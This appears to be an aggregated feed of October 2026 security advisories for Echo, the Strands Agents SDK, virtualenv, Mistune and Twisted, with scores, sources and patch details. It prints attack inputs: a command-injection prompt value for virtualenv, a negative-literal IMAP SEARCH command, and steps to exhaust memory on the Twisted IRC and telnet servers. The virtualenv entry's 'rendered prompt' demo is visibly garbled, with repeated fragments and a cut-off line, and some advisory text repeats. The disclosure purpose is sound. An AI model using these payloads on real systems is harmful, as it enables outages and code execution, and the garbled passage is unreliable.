CVSS 8.2 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-f48p-c9v4-h7xv).
Sources:
GitHub-reviewed advisory GHSA-f48p-c9v4-h7xv: https://github.com/advisories/GHSA-f48p-c9v4-h7xv
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
## Impact

Echo v4's opt-in BodyDump middleware read complete request bodies into memory and retained complete response bodies without a capture limit. A client able to submit large requests to a route using BodyDump could cause large allocations before the application handler ran. Large responses, including responses whose size can be influenced by a client, also caused an additional unbounded capture allocation.

Repeated or concurrent requests can exhaust process memory and cause denial of service. BodyDump is not enabled by default. Deployments with effective request limits may reduce the request-side exposure; response capture requires separate consideration.

## Affected versions and patch

Echo v4 versions through v4.16.0 are affected. Upgrade to [v4.16.1](https://github.com/labstack/echo/releases/tag/v4.16.1).

The patch adds `BodyDumpConfig.MaxRequestBytes` and `MaxResponseBytes`, each defaulting to 5 MiB when zero. A value of `-1` explicitly restores unlimited capture. The complete request remains readable by the handler and the complete response is delivered to the client; only the callback's captured data is bounded. Request close behavior and read errors are preserved.

[Fix commit](https://github.com/labstack/echo/commit/3fb0ba7e17645bb65611e2a08875d0a2f65c421f).

## Workarounds

Disable BodyDump on exposed routes, particularly large uploads and downloads. Alternatively, enforce body-size limits before BodyDump and independently bound the responses that the application generates.

## Credits

Reported by @q490107865. The patch also incorporates request-body preservation work from @jakezwang in [#3105](https://github.com/labstack/echo/pull/3105).

Affected package ranges reported by GitHub:
github.com/labstack/echo/v4: >= 4.0.0, < 4.16.1
Action: GitHub lists first patched versions: github.com/labstack/echo/v4: 4.16.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Strands Agents SDK: Exposure of data element to wrong session in the A2A Server
https://kevwire.com/record/CVE-2026-115419
Strands Agents SDK: Exposure of data element to wrong session in the A2A Server (Oct 23, 2026).
**Summary** 
Strands Agents SDK is an open-source SDK, available for Python (strands-agents) and TypeScript (@strands-agents/sdk), for building and running AI agents. An issue exists where, under certain circumstances, the Agent2Agent (A2A) server shares conversation history across callers with different context\_id values, allowing one caller to read and influence another caller's session. 
 
**Impact** 
The A2A server did not properly isolate conversation state between callers. In multi-tenant deployments, an authenticated remote user could access another caller's conversation history or influence model behavior for other callers (CWE-488: Unintended Disclosure of Data Element to Wrong Session). This affects any deployment where an A2A server is reachable by more than one user or tenant. 
 
**Impacted versions:** 
strands-agents (Python): all versions containing the multiagent.a2a module, < 1.43.0 
@strands-agents/sdk (TypeScript): < 1.5.0 
 
**Patches** 
This issue has been addressed in strands-agents version 1.43.0 and @strands-agents/sdk version 1.5.0. The A2A server now uses an agent factory so conversation state is isolated per A2A context\_id. We recommend upgrading to the latest version and ensuring any forked or derivative code is patched to incorporate the new fixes. 
 
**Workarounds** 
There is no workaround that fully addresses this issue in affected versions. Until you upgrade, do not expose an A2A server to more than one user or tenant. If multiple callers need access, run a separate A2A server instance for each user or tenant. 
 
**References** 
If you have any questions or comments about this advisory, we ask that you contact AWS Security via our [vulnerability reporting page](https://aws.amazon.com/security/vulnerability-reporting) or directly via email to [aws-security@amazon.com](mailto:aws-security@amazon.com). Please do not create a public GitHub issue.
CVSS 8.6 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-4v6f-7vjh-6x4m).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115419&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-4v6f-7vjh-6x4m: https://github.com/advisories/GHSA-4v6f-7vjh-6x4m
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
NVD CVE-2026-115419: https://nvd.nist.gov/vuln/detail/CVE-2026-115419
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115419&date=2026-10-25
**Summary** 
Strands Agents SDK is an open-source SDK, available for Python (strands-agents) and TypeScript (@strands-agents/sdk), for building and running AI agents. An issue exists where, under certain circumstances, the Agent2Agent (A2A) server shares conversation history across callers with different context\_id values, allowing one caller to read and influence another caller's session. 
 
**Impact** 
The A2A server did not properly isolate conversation state between callers. In multi-tenant deployments, an authenticated remote user could access another caller's conversation history or influence model behavior for other callers (CWE-488: Unintended Disclosure of Data Element to Wrong Session). This affects any deployment where an A2A server is reachable by more than one user or tenant. 
 
**Impacted versions:** 
strands-agents (Python): all versions containing the multiagent.a2a module, < 1.43.0 
@strands-agents/sdk (TypeScript): < 1.5.0 
 
**Patches** 
This issue has been addressed in strands-agents version 1.43.0 and @strands-agents/sdk version 1.5.0. The A2A server now uses an agent factory so conversation state is isolated per A2A context\_id. We recommend upgrading to the latest version and ensuring any forked or derivative code is patched to incorporate the new fixes. 
 
**Workarounds** 
There is no workaround that fully addresses this issue in affected versions. Until you upgrade, do not expose an A2A server to more than one user or tenant. If multiple callers need access, run a separate A2A server instance for each user or tenant. 
 
**References** 
If you have any questions or comments about this advisory, we ask that you contact AWS Security via our [vulnerability reporting page](https://aws.amazon.com/security/vulnerability-reporting) or directly via email to [aws-security@amazon.com](mailto:aws-security@amazon.com). Please do not create a public GitHub issue.

Affected package ranges reported by GitHub:
strands-agents: < 1.43.0
@strands-agents/sdk: < 1.5.0
Action: GitHub lists first patched versions: strands-agents: 1.43.0; @strands-agents/sdk: 1.5.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### virtualenv: Bash activator leaves the --prompt value unescaped in PS1 when promptvars is off, so prompt expansion later executes it (regression in 21.14.9)
https://kevwire.com/record/CVE-2026-115586
virtualenv: Bash activator leaves the --prompt value unescaped in PS1 when promptvars is off, so prompt expansion later executes it (regression in 21.14.9) (Oct 23, 2026).
The bash activator puts the caller-supplied prompt value into `PS1` unescaped whenever `promptvars` is off at activation time, and assumes prompt expansion can never run afterwards. `promptvars` and posix mode are runtime shell state, not a property of the activation moment: re-enabling prompt expansion in the same shell (`shopt -s promptvars`, `set -o posix`) or starting an interactive child bash that inherits the exported `PS1` makes bash expand the stored value and run the command substitution in it. An attacker who controls the prompt value gets command execution as the user who sources `bin/activate`.

This is a regression. 21.14.8 escaped `$` and the backtick unconditionally and stays inert under the same sequence. The 21.14.9 fix for GHSA-6w3r-xr62-4xcp (#3418) rewrote that block and left bash with a path that stores the raw value whenever `promptvars` is off.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115586).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115586&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-cx6f-vjhg-g3cc: https://github.com/advisories/GHSA-cx6f-vjhg-g3cc
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
NVD CVE-2026-115586: https://nvd.nist.gov/vuln/detail/CVE-2026-115586
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115586&date=2026-10-25
## Summary

The bash activator puts the caller-supplied prompt value into `PS1` unescaped whenever `promptvars` is off at activation time, and assumes prompt expansion can never run afterwards. `promptvars` and posix mode are runtime shell state, not a property of the activation moment: re-enabling prompt expansion in the same shell (`shopt -s promptvars`, `set -o posix`) or starting an interactive child bash that inherits the exported `PS1` makes bash expand the stored value and run the command substitution in it. An attacker who controls the prompt value gets command execution as the user who sources `bin/activate`.

This is a regression. 21.14.8 escaped `$` and the backtick unconditionally and stays inert under the same sequence. The 21.14.9 fix for GHSA-6w3r-xr62-4xcp (#3418) rewrote that block and left bash with a path that stores the raw value whenever `promptvars` is off.

## Affected area

Activation scripts (activate, activate.bat, activate.csh, activate.fish, activate.nu, Activate.ps1, activate.xsh) — specifically the bash `bin/activate`.

## Attacker-controlled input

The `--prompt` value, which the security policy already lists as a value that may come from project metadata the user did not write. It reaches `virtualenv` as `--prompt` on the command line or as the `prompt` argument of the API, is written into `bin/activate` as the literal `VIRTUAL_ENV_PROMPT` assignment (correctly quoted, the value arrives there as data), and the script then copies it into `PS1` without escaping `$` or the backtick.

Example: a repository or tool config supplies a prompt such as `x$(id > /tmp/ve-pwn)y`; the victim creates and later activates the environment.

## Details

Source of the latest release: [`src/virtualenv/activation/bash/activate.sh` lines 140-160](https://github.com/pypa/virtualenv/blob/21.14.12/src/virtualenv/activation/bash/activate.sh#L140-L160)

```sh
if [ -z "${VIRTUAL_ENV_DISABLE_PROMPT-}" ] &&
 { [ -n "${BASH_VERSION-}" ] || [ -n "${ZSH_VERSION-}" ]; }; then
 _OLD_VIRTUAL_PS1="${PS1-}"
 # bash expands PS1 after decoding its prompt escapes when promptvars is on or in posix mode, so the prompt holds a
 # reference to the variable and its value never reaches that expansion; otherwise only the decode runs and
 # backslashes need doubling. ...
 if [ -n "${BASH_VERSION-}" ] && { shopt -q promptvars || shopt -qo posix; }; then
 PS1='(${VIRTUAL_ENV_PROMPT-}) '"${PS1-}"
 else
 _VIRTUAL_PROMPT="${VIRTUAL_ENV_PROMPT//\\/\\\\}"
 if [ -n "${ZSH_VERSION-}" ]; then
 _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\$/\\\$}"
 _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\`/\\\`}"
 _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\%/%%}"
 fi
 PS1="(${_VIRTUAL_PROMPT}) ${PS1-}"
 unset _VIRTUAL_PROMPT
 fi
fi
```

Two separate mistakes combine:

1. A runtime shell option is treated as a constant. `shopt -u promptvars` at the moment of `source` does not bind the shell forever: `shopt -s promptvars` and `set -o posix` both re-enable PS1 expansion in the same shell. The code itself tests `shopt -qo posix` because posix mode expands the prompt regardless of `promptvars`, which shows the expansion state is not fixed by the activation.
2. The escaping that would keep the value inert in that mode is missing for bash. GHSA-5vjq-rrrf-7h2q ("activate runs commands from the environment name in zsh with PROMPT_SUBST") fixed exactly this shape for zsh, reasoning that "a user can set it after activation", by escaping `$` and the backtick. Bash lost the equivalent escaping in the same commit that added the zsh branch.

The rendered prompt shows the regression directly:

```
21.14.8 PS1 = (x\\$(id > /tmp/ve-pwn)y) /tmp/ve-pwn)y) /tmp/ve-pwn)y) /tmp/ve-pwn)y' /tmp/venv-demo

cat > /tmp/rc `\$`, backtick -> ``\` ``, `\` -> `\\`). Verified on bash 5.1.16 that a `PS1` built that way is inert with `promptvars` on, with `promptvars` off, and with `promptvars` off followed by posix mode, while still rendering the literal value on screen. That is better than both current shapes: 21.14.8's four-level escaping left stray backslashes on screen, which is why the block was rewritten.

```sh
 else
 _VIRTUAL_PROMPT="${VIRTUAL_ENV_PROMPT//\\/\\\\}"
 _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\$/\\\$}"
 _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\`/\\\`}"
 if [ -n "${ZSH_VERSION-}" ]; then
 _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\%/%%}"
 fi
 PS1="(${_VIRTUAL_PROMPT}) ${PS1-}"
```

For the tests, `tests/unit/activation/test_bash.py::test_bash_prompt_options` already parametrises `("before", "after", "expected")` and covers `before="shopt -u promptvars"` with `after=""`. The missing axis is the transition: `("shopt -u promptvars", "shopt -s promptvars", ...)` and `("shopt -u promptvars", "set -o posix", ...)`, with the existing `PWNED` check asserting no file was created.

## Latest release

- [x] The problem reproduces on the latest virtualenv release.

Affected package ranges reported by GitHub:
virtualenv: >= 21.14.9, < 21.14.13
Action: GitHub lists first patched versions: virtualenv: 21.14.13. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mistune: Path Traversal and XSS in Include directive
https://kevwire.com/record/CVE-2026-115355
Mistune: Path Traversal and XSS in Include directive (Oct 23, 2026).
The Include directive in `src/mistune/directives/include.py` does not validate that the resolved file path stays within the source directory, allowing path traversal via `../` sequences to read arbitrary files.

Additionally, error messages and included file contents are rendered without HTML escaping, leading to XSS even when `escape=True`.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115355).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115355&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-h7ww-273w-6cm8: https://github.com/advisories/GHSA-h7ww-273w-6cm8
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
NVD CVE-2026-115355: https://nvd.nist.gov/vuln/detail/CVE-2026-115355
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115355&date=2026-10-25
The Include directive in `src/mistune/directives/include.py` does not validate that the resolved file path stays within the source directory, allowing path traversal via `../` sequences to read arbitrary files.

Additionally, error messages and included file contents are rendered without HTML escaping, leading to XSS even when `escape=True`.

Affected functions:
- Path resolution (lines 27-31)
- `block_error()` in html.py (line 140)
- `render_html_include()` (line 72)

The Include plugin must be explicitly enabled via the plugins parameter.

Affected package ranges reported by GitHub:
mistune: <= 3.2.0
Action: GitHub lists first patched versions: mistune: 3.3.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Twisted: Denial of Service in the Twisted IMAP4 Server via a Negative Literal Size in SEARCH
https://kevwire.com/record/CVE-2026-115774
Twisted: Denial of Service in the Twisted IMAP4 Server via a Negative Literal Size in SEARCH (Oct 23, 2026).
An infinite-loop vulnerability (CWE-835) in the Twisted IMAP4 server lets an authenticated client freeze the whole process with one small command. `twisted.mail.imap4.parseNestedParens` reads an IMAP literal size with `int()` and never rejects a negative value. A negative size such as `{-100}` drives the parser cursor negative, and because a negative Python index wraps around the end of the string instead of raising, the scanning loop never terminates. It runs synchronously on the single-threaded reactor, so one `SEARCH` command holds the reactor at full CPU forever and every other connection stops being served.

Meeting an inline literal, `parseNestedParens` reads the size between the braces and advances the cursor past the body:
CVSS 4.9 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-2qrf-pqgx-qh9v).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115774&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-2qrf-pqgx-qh9v: https://github.com/advisories/GHSA-2qrf-pqgx-qh9v
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115774&date=2026-10-25
## Summary

An infinite-loop vulnerability (CWE-835) in the Twisted IMAP4 server lets an authenticated client freeze the whole process with one small command. `twisted.mail.imap4.parseNestedParens` reads an IMAP literal size with `int()` and never rejects a negative value. A negative size such as `{-100}` drives the parser cursor negative, and because a negative Python index wraps around the end of the string instead of raising, the scanning loop never terminates. It runs synchronously on the single-threaded reactor, so one `SEARCH` command holds the reactor at full CPU forever and every other connection stops being served.

## Details

Meeting an inline literal, `parseNestedParens` reads the size between the braces and advances the cursor past the body:

```python
# twisted/mail/imap4.py parseNestedParens
literalSize = int(s[i + 1 : end]) # no sign check
contentStack[-1].append((s[end + 3 : end + 3 + literalSize],))
i = end + 3 + literalSize # negative size -> i goes negative
```

`int(b"-100")` is `-100`, so `i` goes negative; the loop condition `i < len(s)` stays true and `s[i : i + 1]` on a negative index never raises, so the cursor cycles forever. The `_literalStringLimit` guard only covers the synchronizing-literal continuation path, not this inline branch. The call is reached from `select_SEARCH` through `arg_searchkeys`, dispatched only in the selected state, so a valid login and a selected mailbox (any low-privilege account) suffice. It runs in the reactor thread, and the connection timeout cannot fire because the reactor itself is frozen.

Affected product: Twisted (`twisted.mail`), the IMAP4 server `twisted.mail.imap4.IMAP4Server`
Affected versions: 26.4.0 and earlier

## PoC

Log in, select a mailbox, and send a `SEARCH` whose literal size is negative:

```text
C: t1 LOGIN testuser password-test
C: t2 SELECT INBOX
C: t3 SEARCH {-100}zzzzzzzzzz
```

The server never responds and one core stays at 100 percent. In a measured run a health service co-hosted on the same reactor stopped answering the instant the command arrived, showing the freeze hits the whole process and not just the attacking connection. A valid `{5}zzzzz` completes normally and a non-numeric `{abc}` is rejected with a parse error, which isolates the cause to the missing negative-size check.

## Impact

A remote denial of service. One command of about ten bytes freezes the single-threaded reactor, so it stops serving not only every other IMAP connection but every other service co-hosted in the same process (for example SMTP and POP3 under `twistd mail`), and no timeout can recover it until the process is restarted. It requires an authenticated session, so any account holder can trigger it; there is no confidentiality or integrity impact and no code execution.

Affected package ranges reported by GitHub:
Twisted: <= 26.4.0
Action: GitHub lists first patched versions: Twisted: 26.10.0rc1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Twisted: Unauthenticated Remote Denial of Service in the Twisted IRC Server via an Unbounded Line Buffer
https://kevwire.com/record/CVE-2026-115776
Twisted: Unauthenticated Remote Denial of Service in the Twisted IRC Server via an Unbounded Line Buffer (Oct 23, 2026).
An unbounded-buffer vulnerability (CWE-770) in the Twisted words IRC server lets any unauthenticated remote client exhaust server memory. `twisted.words.protocols.irc.IRC.dataReceived` appends every received byte to a per-connection buffer and only removes data at a line feed, with no maximum length. Because `IRC` is a plain `Protocol` and not a `LineReceiver`, one connection that streams bytes without a line feed grows the buffer without bound and drives the whole single-threaded process to out-of-memory, dropping every user at once. The `twistd words` server inherits the method unchanged through `IRCUser`, and the data is buffered before any authentication.

`IRC.dataReceived` keeps everything up to the last line feed in `self.buffer`:
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115776).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115776&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-53xc-49m8-p798: https://github.com/advisories/GHSA-53xc-49m8-p798
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
NVD CVE-2026-115776: https://nvd.nist.gov/vuln/detail/CVE-2026-115776
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115776&date=2026-10-25
## Summary

An unbounded-buffer vulnerability (CWE-770) in the Twisted words IRC server lets any unauthenticated remote client exhaust server memory. `twisted.words.protocols.irc.IRC.dataReceived` appends every received byte to a per-connection buffer and only removes data at a line feed, with no maximum length. Because `IRC` is a plain `Protocol` and not a `LineReceiver`, one connection that streams bytes without a line feed grows the buffer without bound and drives the whole single-threaded process to out-of-memory, dropping every user at once. The `twistd words` server inherits the method unchanged through `IRCUser`, and the data is buffered before any authentication.

## Details

`IRC.dataReceived` keeps everything up to the last line feed in `self.buffer`:

```python
# twisted/words/protocols/irc.py
class IRC(protocol.Protocol): # not a LineReceiver, so no MAX_LENGTH
 buffer = ""
 def dataReceived(self, data):
 if isinstance(data, bytes):
 data = data.decode("utf-8")
 lines = (self.buffer + data).split(LF)
 self.buffer = lines.pop() # no 3line feed -> whole input stays buffered
 ...
```

With no line feed in the data, `lines.pop()` returns the entire accumulated content to `self.buffer`, so it grows by every chunk and is never bounded; `IRC` defines no `MAX_LENGTH`, no `lineLengthExceeded`, and no timeout, so the connection is never closed. The `twistd words` server protocol `IRCUser` subclasses `IRC` without overriding `dataReceived`, and the buffer is filled before any `PASS`, `NICK`, or `USER`, so no credentials are required.

Affected product: Twisted (`twisted.words`), `twisted.words.protocols.irc.IRC` and its subclass `twisted.words.service.IRCUser`
Affected versions: 26.4.0 and earlier

## PoC

On a standard Twisted words IRC server (the server `twistd words` runs, using `IRCUser`), an unauthenticated client opens a single TCP connection and continuously sends data that contains no line feed, never completing a line. Every chunk is appended to the connection's line buffer, and because no complete line is ever formed none of it is consumed, so the buffer grows by the full volume sent.

In a measured run against a real `IRCFactory` server, one unauthenticated connection sending 60 MB of line-feed-free data raised the server process resident memory from about 47 MB to 2966 MB (roughly 49 MB per MB sent) with the connection still open and no limit triggered. Sending the same volume as normal line-feed-terminated commands leaves memory flat, which isolates the cause to the missing line-length bound.

## Impact

An unauthenticated remote denial of service from allocation without limits (CWE-770) leading to uncontrolled resource consumption (CWE-400). A single credential-free connection exhausts the memory of the whole `twistd words` process, and because one process serves every user, the crash drops all connections at once and the service stays down until it is restarted. The quadratic buffer copy reaches the same effect faster. There is no confidentiality or integrity impact and no code execution.

Affected package ranges reported by GitHub:
Twisted: <= 26.4.0
Action: GitHub lists first patched versions: Twisted: 26.10.0rc1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Twisted: Unauthenticated Remote Denial of Service in the Twisted conch Telnet Transport via an Unbounded Subnegotiation Buffer
https://kevwire.com/record/CVE-2026-115778
Twisted: Unauthenticated Remote Denial of Service in the Twisted conch Telnet Transport via an Unbounded Subnegotiation Buffer (Oct 23, 2026).
An allocation-without-limits vulnerability (CWE-770) in the Twisted conch telnet transport lets any unauthenticated remote peer exhaust server memory over a single connection. When the peer opens a telnet subnegotiation with `IAC SB` and then streams bytes without ever sending the `IAC SE` terminator, every byte is appended to a per-connection buffer that has no maximum length. The buffer persists across reads and is released only on the terminator the attacker withholds, so it grows without bound until the process is killed.

The option-negotiation state machine in `Telnet.dataReceived` enters the `subnegotiation` state on `IAC SB` and sets an empty command list. In that state every non-`IAC` byte is appended to the list with no length check:
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115778).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115778&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-cwm5-jh59-mwxr: https://github.com/advisories/GHSA-cwm5-jh59-mwxr
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
NVD CVE-2026-115778: https://nvd.nist.gov/vuln/detail/CVE-2026-115778
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115778&date=2026-10-25
## Summary

An allocation-without-limits vulnerability (CWE-770) in the Twisted conch telnet transport lets any unauthenticated remote peer exhaust server memory over a single connection. When the peer opens a telnet subnegotiation with `IAC SB` and then streams bytes without ever sending the `IAC SE` terminator, every byte is appended to a per-connection buffer that has no maximum length. The buffer persists across reads and is released only on the terminator the attacker withholds, so it grows without bound until the process is killed.

## Details

The option-negotiation state machine in `Telnet.dataReceived` enters the `subnegotiation` state on `IAC SB` and sets an empty command list. In that state every non-`IAC` byte is appended to the list with no length check:

```python
# src/twisted/conch/telnet.py (Telnet.dataReceived)
elif self.state == "subnegotiation":
 if b == IAC:
 self.state = "subnegotiation-escaped"
 else:
 self.commands.append(b) # unbounded: no len(self.commands) check
```

`self.commands` is an instance attribute that persists across `dataReceived` calls and is deleted only when `IAC SE` completes the subnegotiation. Negotiation runs at the transport layer before authentication, and the bytes are consumed inside `dataReceived` before any application callback, so an application cannot impose a bound. Twisted caps other parser buffers, for example `NetstringReceiver.MAX_LENGTH`, but not this one.

Affected product: Twisted, `twisted.conch.telnet` transport
Affected versions: confirmed against 26.4.0

## PoC

On any endpoint that exposes the Twisted telnet transport, such as the Twisted manhole telnet service, open one connection and send the two bytes `IAC SB` (`0xFF 0xFA`), then stream any non-`0xFF` bytes continuously and never send the `IAC SE` terminator (`0xFF 0xF0`). No credentials are required, because option negotiation runs before authentication.

Every byte is appended to the per-connection subnegotiation buffer with no maximum, and the buffer is released only by the terminator the attacker withholds, so it grows for the life of the connection. Because each byte is retained as a separate element the memory consumed is several times the traffic sent, so a modest-bandwidth peer, or several such connections, drives the process to memory exhaustion.

## Impact

This is an unauthenticated remote denial of service (CWE-770, CWE-400) by memory exhaustion. A single connection grows an in-memory buffer without bound at a cost proportional to the bytes sent, amplified by per-byte object overhead, until the operating system kills the server and every service it hosts. There is no confidentiality or integrity impact and no code execution. The affected surface is any deployment that exposes a Twisted telnet or manhole transport to untrusted peers.

Affected package ranges reported by GitHub:
Twisted: <= 26.4.0
Action: GitHub lists first patched versions: Twisted: 26.10.0rc1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

